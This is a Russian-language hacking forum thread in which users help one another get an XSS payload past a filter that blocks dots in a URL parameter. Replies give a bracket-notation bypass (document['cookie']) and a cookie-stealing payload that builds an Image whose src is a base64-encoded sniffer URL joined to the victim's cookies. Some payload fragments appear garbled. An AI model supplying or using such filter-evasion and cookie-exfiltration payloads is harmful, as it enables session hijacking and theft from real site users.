Фильтрация точки в запросе

[Ditss]

Здравствуйте все! Можно как-то обойти фильтрацию точки в запросе?

Есть запрос


/index.php?p=">alert(document.cookie)

Но точка в document.cookie фильтруется... ( Пробовал вставлять ASCII коды точки, но фильтр и на них...

Заранее спасибо!

[faza02]

document["cookie"]

[M_script]

↑ (https://antichat.live/posts/3911597/)
Попробуй вот так


Можете привести пример уязвимого кода, где сработает такая атака?

[Altai]

↑ (https://antichat.live/posts/3911821/)
Можете привести пример уязвимого кода, где сработает такая атака?


я не внимательно прочитал вопрос Согласен, фигню сказал

[Ditss]

↑ (https://antichat.live/posts/3911522/)
document["cookie"]


Спасибо, так работает! А если нужно сделать так:


">

как подменять точки в строке адреса?

[faza02]

↑ (https://antichat.live/posts/3911886/)
Спасибо, так работает! А если нужно сделать так:

">

как подменять точки в строке адреса?


(new Image())["src"]=atob("lol")+document["cookie"]

где lol - ссылка на сниффер в base64

[M_script]

↑ (https://antichat.live/posts/3911886/)

">



Этот код не будет работать даже без фильтрации точек.